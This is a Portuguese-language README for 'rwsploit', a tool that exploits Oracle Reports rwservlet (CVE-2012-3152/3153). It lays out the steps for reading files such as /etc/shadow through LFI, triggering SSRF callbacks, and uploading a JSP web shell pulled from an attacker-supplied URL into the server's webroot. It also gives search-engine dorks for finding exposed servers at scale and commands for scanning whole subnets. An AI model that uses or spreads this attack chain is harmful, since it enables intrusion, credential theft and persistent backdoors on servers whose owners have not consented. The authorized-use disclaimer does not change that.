Scanner Oracle Reports rwservlet

⚠️ Apenas para uso autorizado. Execute esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal.

Um scanner de exploração focado para Oracle Reports Server (rwservlet) visando CVE-2012-3152 e CVE-2012-3153 — afetando versões anteriores ao 11g. Automatiza detecção, leitura de arquivos LFI, teste de SSRF e upload de shell JSP em IPs únicos, intervalos CIDR ou listas de alvos. A pré-filtragem inteligente TCP/HTTP ignora hosts mortos instantaneamente, sem perder tempo.

Instalação

git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests

Requer Python 3.8+. Sem outras dependências.

Uso

python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file>   [options]

Execute sem argumentos para ver o menu de ajuda completo e dorks de reconhecimento.

Opções

Exemplos

# Detect only
python3 rwsploit.py -t 10.10.10.55 -p 7777

# Detect + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi

# Full chain — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell

# Subnet scan, save dumps
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot

# From file, no SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf

formato targets.txt

# comment — skipped
10.10.10.55
10.10.11.0/24

Funcionalidades

LFI

Lê arquivos legíveis mundialmente detectando primeiro o SO via showenv, depois executando apenas o conjunto de payloads correspondentes.

Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ

Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT

🚨 Ausência de saída LFI não significa que o alvo está seguro — a configuração e as permissões de arquivo do Oracle variam. Sempre teste SSRF e upload de shell independentemente.

SSRF

Dispara rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> e consulta a API do webhook.site em busca de um callback. Imprime o IP de origem, método e User-Agent ao acertar. Um novo token de webhook é criado automaticamente na inicialização.

Upload de Shell (--shell)

1. Solicita a URL que serve o conteúdo do seu shell JSP
2. Lê PATH_TRANSLATED de showenv para obter o caminho real do webroot
3. Gera um nome de shell aleatório (ex.: kxqbrmfa.jsp)
4. Escreve via: rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<sua URL>
5. Verifica checando a URL do shell por HTTP 200 e imprime o link ativo

Dorks de Reconhecimento — Oracle Reports < v11

Google

inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet

Shodan

http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"

FOFA

body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"

Censys

services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"

CVEs

Afeta Oracle Reports Server 6i, 9i, 10g — corrigido no 11g.

Legal

Apenas para testes de penetração autorizados, desafios CTF e pesquisa de segurança. O autor não assume nenhuma responsabilidade pelo uso indevido.